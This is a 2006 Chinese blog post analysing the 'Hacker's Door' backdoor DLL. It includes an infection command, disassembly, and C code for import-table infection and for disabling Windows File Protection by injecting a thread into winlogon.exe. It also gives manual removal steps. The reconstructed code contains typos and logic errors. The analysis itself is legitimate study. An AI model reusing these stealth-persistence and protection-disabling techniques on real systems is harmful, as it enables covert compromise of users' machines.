分析黑客之門

·flong 發表於 2006-11-24 0:16:00

 

最近對後門產生了很濃厚的興趣,上網與各位高手討論的時候,有人提到了“黑客之門”很厲害,也算是推出來的比較成功的一個後門,於是上網下載了一個研究研究,順便也學習學習其中的方法與技巧。不敢獨享,分享於此,同時希望高手們指教。

    “黑客之門”介紹

    黑客之門採用的目前一些先進的後門技術,它只有一個Dll文件,通過感染系統文件啓動自身,被感染的系統文件大小和日期都不會改變;同時採用線程插入技術,本身沒有進程;本身不開端口,而是重用系統進程開的任意一個端口,如80,135,139,445等,因此它的隱藏性非常好,而且穿透防火牆也是很容易的事。這個版本文件不大,只提供一些很有用的命令。目前還沒有發現如何工具能查到這個後門,象Fport,Llister,RKDetector等查工具都失效。
程序的自啓動

    既然是一個後門,那麼就要隨系統的啓動而啓動,根據黑客之門的介紹,它是通過感染系統程序文件來實現程序的自啓動的。既然是感染了系統文件(像病毒),那就看看感染前和感染後的系統文件的區別吧!爲了測試感染前後的差別,我準備了一個專門用來被感染的文件TestLoad.exe,它沒有什麼功能,只是彈出一個對話框,這樣好等待測試,麻雀雖小,五臟俱全,省得動系統文件了。接着運行命令:

C:>rundll32 hkdoordll,DllRegisterServer TestLoad.exe 2
使黑客之門感染TestLoad.exe,感染完畢後用EXE文件查看利器eXescope查看TestLoad.exe被感染前後的差別。

被感染之前eXescpoe顯示的TestLoad.exe的結構如圖1所示:


感染之後的TestLoad.exe的結構如圖2所示:

 

可以看出感染之後的TestLoad.exe的引入表多了一個Hkdoordll.dll引入庫。細心觀察感染之後的TestLoad.exe的引入表地址(Import Table Address ITA)已經被改變,原來的ITA爲0x000043FC,感染之後爲0x0000477E。
爲了進一步看清除感染前後的文件的變化,這裏使用LordPE.exe比較感染前後的TestLoad.exe的引入表函數,比較結果如圖3所示:

 

提示:使用LordPE.exe查看exe文件的引入表函數方法是:點擊PE Edito打開相應的文件,接着點擊Directories,彈出對話框後點擊Import Table右邊的三個點,這樣就可以查看一個可執行文件的引入表了。

    可以看出,只是在引入錶鏈表中添加了一個相應的Hkdoordll.dll,這樣當被感染的程序再次運行時,由系統的程序裝載器搜索Hkdoordll.dll,並將其引用到被感染程序的地址空間,後門就運行起來了。黑客之門的這種子啓動方式值得學習,比較靈巧。

    搞明白了黑客之門的啓動方式後,我們就可以手動清除它了,這裏切不可將Hkdoordll.dll直接刪除,這樣可能直接導致系統崩潰。因爲系統在加載被感染的程序(假如爲Services.exe)時發現沒有找到Hkdoordll.dll,Services.exe將不能被裝載,如果被感染的是系統關鍵進程的話,那麼系統將不能正確的啓動。清除的時候我們可以去別的機器上(相同系統與補丁)找一個Services.exe,將被感染的程序命名爲Services2.exe,將Services.exe拷貝到System32文件夾下,重啓電腦,刪除Hkdoordll.dll就清除黑客之門了。
運行時感染

    上面說的是黑客之門的自啓動方式,下面看看黑客之門是怎麼感染正在運行的系統文件的,這一點讓我暈了很久,最後發現是用了一個很靈活的小技巧。
我們知道在Windows系統下,正在運行的程序文件一般是不能修改或者刪除的,正是由於這一點,纔出現了各種程序運行時的自刪除***,程序自刪除不是我們這次的重點。但是,細心的用戶可能已經發現,在Windows 2000或Wndows XP系統下,我們可以對正在運行的EXE文件進行重命名或者移動。
再拿剛纔的TestLoad.exe做測試,運行:

C:>rundll32 hkdoordll,DllRegisterServer TestLoad.exe 2
可以發現TestLoad.exe所在的文件夾內多出了一個文件TestLoad.exe.bak,咋一看還以爲“黑客之門”做好事,自動幫你備份一下系統文件,其實這可是黑客之門的狐狸尾巴啊!是它不得已而爲之的。不要關閉TestLoad.exe,然後試着刪除TestLoad.exe和TestLoad.exe.bak,是不是發現奇蹟了?竟然把TestLoad.exe刪掉了,而TestLoad.exe.bak竟然不讓刪,是不是和我剛纔說的話矛盾?非也!非也!剛好證明了剛纔的話:黑客之門先把TestLoad.exe改名爲TestLoad.exe.bak,然後生成一個被感染的TestLoad.exe,這樣,下次運行TestLoad.exe實際上是被替換過的程序,原來的程序則放在一邊。
用IDA Pro反彙編Hkdoordll.dll可以發現以下函數的調用:

文件重命名:

.data:1000C618                 lea     ecx, [esp+438h+FileName]
.data:1000C61F                 lea     edx, [esp+438h+var_324]
.data:1000C626                 push    ecx
.data:1000C627                 push    edx
.data:1000C628                 call    rename

拷貝文件:

.data:1000C66F           lea     edx, [esp+440h+var_32C]
.data:1000C676           push    0               ; bFailIfExists
.data:1000C678           lea     eax, [esp+444h+var_228]
.data:1000C67F           push    edx             ; lpNewFileName
.data:1000C680           push    eax             ; lpExistingFileName
.data:1000C681           call    CopyFileA

移動文件:

.data:1000C795           mov     eax, [ebp+8]
.data:1000C798           test    eax, eax
.data:1000C79A           jnz     short loc_1000C7FE
.data:1000C79C           lea     ecx, [esp+448h+var_334]
.data:1000C7A3           push    5               ; dwFlags
.data:1000C7A5           lea     edx, [esp+44Ch+var_230]
.data:1000C7AC           push    ecx             ; lpNewFileName
.data:1000C7AD           push    edx             ; lpExistingFileName
.data:1000C7AE           call    MoveFileExA
上面的語句實際上可以理解爲:
MoveFileEx(“TestLoad.exe”,”TestLoad.exe.bak”, MOVEFILE_DELAY_UNTIL_REBOOT&line; MOVEFILE_REPLACE_EXISTING);

    小知識:MSDN中對MoveFileEx()函數的解釋爲:
BOOL MoveFileEx(
  LPCTSTR lpExistingFileName,  // pointer to the name of the existing file
  LPCTSTR lpNewFileName,       // pointer to the new name for the file
  DWORD dwFlags                // flag that specifies how to move file
);

    這樣進程TestLoad.exe的文件映象實際上爲TestLoad.exe.bak,接着Hkdoordll.dll生成被感染的TestLoad.exe,並且保存在原來的文件路徑上即可。

    滅掉系統文件保護

    一旦系統啓動了,Windows系統就開始加載已經被感染的系統程序,但是由於“黑客之門”是通過感染系統程序實現自啓動的,這下子又遇到了另外一個問題。

    大家都知道,在Windows 2000和Windows XP中有系統文件保護功能,一旦被保護的系統文件被修改了,就會彈出需要插入系統安裝盤CD的對話框。這樣就導致了一個問題, TestLoad.exe只是一個普通的EXE文件,而不是受系統文件保護系統保護的系統進程,那爲什麼黑客之門修改系統進程時,操作系統的文件的文件保護系統不會提醒呢?
這一點,還是採用反彙編黑客之門的方法,觀察它是怎樣關閉系統文件保護功能的。

發現如下的代碼:

.data:1000BBB0 LoadSFCDLL   proc near    ; CODE XREF: sub_1000BC70+B7
.data:1000BBB0      push    esi
.data:1000BBB1      xor     esi, esi
.data:1000BBB3      call    GetVersion  ; Get current version number of Windows
.data:1000BBB3      ; and information about the operating system platform
.data:1000BBB9      cmp     al, 5
.data:1000BBBB      jnz     short loc_1000BBDF
.data:1000BBBD      xor     ecx, ecx ;此時爲Windows2000系統
.data:1000BBBF      mov     cl, ah
.data:1000BBC1     test    cl, cl
.data:1000BBC3     jnz     short loc_1000BBD2
.data:1000BBC5     push    offset aSfc_dll ; lpLibFileName
.data:1000BBCA     call    LoadLibraryA ;此時爲WindowsXP系統
.data:1000BBD0     pop     esi
.data:1000BBD1     retn
.data:1000BBD2 loc_1000BBD2:          ; CODE XREF: LoadSFCDLL+13 j
.data:1000BBD2     push    offset aSfc_os_dll ; lpLibFileName
.data:1000BBD7     call    LoadLibraryA
.data:1000BBDD     pop     esi
.data:1000BBDE     retn

上面的代碼可以看出,Hkdoordll.dll根據操作系統的版本調用了Sfc.dll或者Sfc_os.dll,如果是Windows 2000(Windows NT 5.0)的話,裝載Sfc.dll;如果是Windows XP(Windows NT 5.1)的話,裝載Sfc_os.dll。再看下面的一段反彙編代碼:

sub     esp, 228h
.data:1000BC76     lea     eax, [esp+228h+hObject]
.data:1000BC7A     push    ebx
.data:1000BC7B     push    esi
.data:1000BC7C     push    edi
.data:1000BC7D     push    offset aWinlogon_exe ; "winlogon.exe"
.data:1000BC82      push    0
.data:1000BC84      push    offset aDS      ; "%d/%s"
.data:1000BC89      push    1Fh
.data:1000BC8B     mov     edi, ecx
.data:1000BC8D     push    eax
.data:1000BC8E     call    sub_10008C60
.data:1000BC93      add     esp, 14h
.data:1000BC96      lea     ecx, [esp+234h+hObject]
.data:1000BC9A      push    ecx             ; lpMultiByteStr
.data:1000BC9B      call    sub_100016CC    //這個子函數就是用來得到進程ID
.data:1000BCA0      cmp     eax, 0FFFFFFFDhSFC
.data:1000BCA3      jb      short loc_1000BCDB
.data:1000BCA5      push    offset aCanTGetWinlogo ; "Can't get winlogon process id!rn"

上面的函數用來得到Winlogon.exe進程的ID,以便下面打開它注入代碼:

.data:1000BCDB       push    eax             ; dwProcessId
.data:1000BCDC       push    0               ; bInheritHandle
.data:1000BCDE       push    1F0FFFh         ; dwDesiredAccess
.data:1000BCE3       call    OpenProcess ;打開目標進程
.data:1000BCE9       mov     ebx, eax
.data:1000BCEB       test    ebx, ebx
.data:1000BCED       jnz     short loc_1000BD25

上面的彙編代碼段是調用OpenProcess()函數打開Winlogon.exe進程。繼續觀察反彙編代碼,發現下面的一段:

.data:1000BD25       mov   ecx, edi
.data:1000BD27       call    LoadSFCDLL
.data:1000BD2C       mov   esi, eax
.data:1000BD2E       test    esi, esi
.data:1000BD30       jnz    short loc_1000BD6F
.data:1000BD6F       push   2              ;函數序號爲2
.data:1000BD71       push   esi             ;SFC.dll的 hModule
.data:1000BD72       call    GetProcAddress ;得到SFC.dll中序數爲2 的函數的地址
.data:1000BD78       test    eax, eax
.data:1000BD7A       mov     [edi+10h], eax
.data:1000BD7D       jnz     short loc_1000BDC3

可以發現上面的彙編代碼用來得到以前裝載的Sfc.dll(或Sfc_os.dll)中的序數爲2的函數的地址。接着程序跳轉到了Loc_1000BDC3,繼續跟蹤反彙編代碼,發現以下一段:

.data:1000BDC3       push    eax             ; 剛纔得到的SFC.dll中函數的地址
.data:1000BDC4       push    ebx             ; Winlogon.exe進程的句柄
.data:1000BDC5       mov     ecx, edi
.data:1000BDC7       call    sub_1000BBF0注意這裏調用函數 sub_1000BBF0
.data:1000BDCC       push    esi             ; hLibModule
.data:1000BDCD       mov     edi, eax
.data:1000BDCF       call    FreeLibrary
.data:1000BDD5       test    edi, edi
.data:1000BDD7       push    ebx             ; hObject
跟進Sub_1000BBF0函數,Sub_1000BBF0函數:
入口參數:進程句柄、線程開始地址
.data:1000BBF0 sub_1000BBF0    proc near     ; CODE XREF: sub_1000BC70+157 p
.data:1000BBF0
.data:1000BBF0 ThreadId        = dword ptr -1
.data:1000BBF0 hProcess        = dword ptr  7
.data:1000BBF0 lpStartAddress  = dword ptr  0Bh
.data:1000BBF0
.data:1000BBF0       push    ecx
.data:1000BBF1       mov     ecx, [esp+1+lpStartAddress]
.data:1000BBF5       mov     edx, [esp+1+hProcess]
.data:1000BBF9       lea     eax, [esp+1+ThreadId]
.data:1000BBFD       push    esi
.data:1000BBFE       push    eax       ; lpThreadId
.data:1000BBFF       push    0         ; dwCreationFlags
.data:1000BC01       push    0         ; lpParameter
.data:1000BC03       push    ecx       ; SFC.dll中第二個函數的函數地址
.data:1000BC04       push    0         ; dwStackSize
.data:1000BC06       push    0         ; lpThreadAttributes
.data:1000BC08       push    edx       ; 以前打開的winlogon.exe進程的句柄
.data:1000BC09       mov     [esp+21h+ThreadId], 0
.data:1000BC11       call    CreateRemoteThread    ;創建遠線程
.data:1000BC17       mov     esi, eax
.data:1000BC19       test    esi, esi  ;ESI保存剛纔新創建的線程的句柄
.data:1000BC1B       jnz     short loc_1000BC3F
――――――――――――――――――――――――――――――
.data:1000BC3F
.data:1000BC3F loc_1000BC3F:     ; CODE XREF: sub_1000BBF0+2B j
.data:1000BC3F          push    0FA0h           ; dwMilliseconds
.data:1000BC44          push    esi             ; 新創建的線程的句柄
.data:1000BC45          call    WaitForSingleObject ;等待遠程線程的結束
.data:1000BC4B          test    eax, eax
.data:1000BC4D          jz      short loc_1000BC5D
――――――――――――――――――――――――――――――――――
.data:1000BC5D
.data:1000BC5D loc_1000BC5D:         ; CODE XREF: sub_1000BBF0+5D j
.data:1000BC5D          push    esi             ; hObject
.data:1000BC5E          call    CloseHandle
.data:1000BC64           mov     eax, [esp+5+ThreadId]
.data:1000BC68           pop     esi
.data:1000BC69           pop     ecx
.data:1000BC6A           retn    8
.data:1000BC6A sub_1000BBF0    endp

    上面的子函數功能很簡單,就是在剛剛打開的Winlogon.exe進程中創建新的線程,新線程調用SFC.dll中的序號爲2的輸出函數,這樣便關掉了系統文件的自我保護。

    事實上,根據Bgate的《在Win 2000/XP上安靜地替換正在使用的系統文件》這篇文章的解釋,在Windows 2000(XP)系統下,執行系統文件保護的代碼在Sfc.dll(XP在Sfc_os.dll)中,這個Dll由Winlogon.exe調用。Winlogon.exe主要調用Sfc.dll中的兩個函數實現系統文件文件保護。Winlogon.exe調用Sfc.dll中的一個輸出函數在系統啓動的時候創建了一系列事件,Winlogon.exe結束時調用另外一個函數關閉上面的一系列事件,這樣就關閉了系統保護文件功能。那這樣我們只需要向Winlogon.exe中注入代碼調用“第二個”函數,就能取消文件保護功能了,“黑客之門”採用的也正是這樣的方法。

    這裏需要注意的是,要把進程注入到Winlogon.exe中,需要提升自身的權限到Debug權限。

HANDLE hToken;
    LUID DebugNameValue;
    TOKEN_PRIVILEGES Privileges;
    DWORD dwRet;

    OpenProcessToken(GetCurrentProcess(),
      TOKEN_ADJUST_PRIVILEGES &line; TOKEN_QUERY,hToken);
    LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue);
    Privileges.PrivilegeCount=1;
    Privileges.Privileges[0].Luid=DebugNameValue;
    Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges),
                  NULL,&dwRet);
    CloseHandle(hToken);

上面整個關閉系統文件保護功能的實現用C語言寫下來如下所示:

/*得到進程的ID,具體的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/
 DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE Process=OpenProcess(,FALSE,dwPid);
DWORD dwVersion;
 HMODULE hSfc;
dwVersion = GetVersion();
//判斷操作系統的類型
   if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{                 // Windows 2000/XP
        if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0)   //Windows 2000
                   hSfc = LoadLibrary("sfc.dll");      
        else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)             //Windows XP
            hSfc = LoadLibrary("sfc_os.dll");      
    }   
//得到函數的地址
FARPROC dwAddress=GerProcAddress(hSfc, MAKEINTRESOURCE(2));
DWORD dwThreadId;
HANDLE  hThread;
//創建遠線程
hThread =CreateRemoteThread(hProcess,0,0, /
(DWORD (__stdcall *) (void *)) dwAddress,0,0,&dwThreadId);
WaitForSingleObject(hThread,0x0FA0);

    結束語

    大概分析完了,剛開始拿到黑客之門的時候,還在想,它到底是怎樣感染正在運行的系統文件的呢?原來以爲是修改進程的句柄指向的進程的操作掩碼完成的,爲此我還翻閱了好多文檔。結果通過對程序的反彙編學習,漸漸的發現黑客之門的程序編制的技巧。這裏也要感謝“黑客之門”的作者,沒有給它加殼,能讓我們有幸能一睹優秀黑客工具的容顏!
不到之處,歡迎指教 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章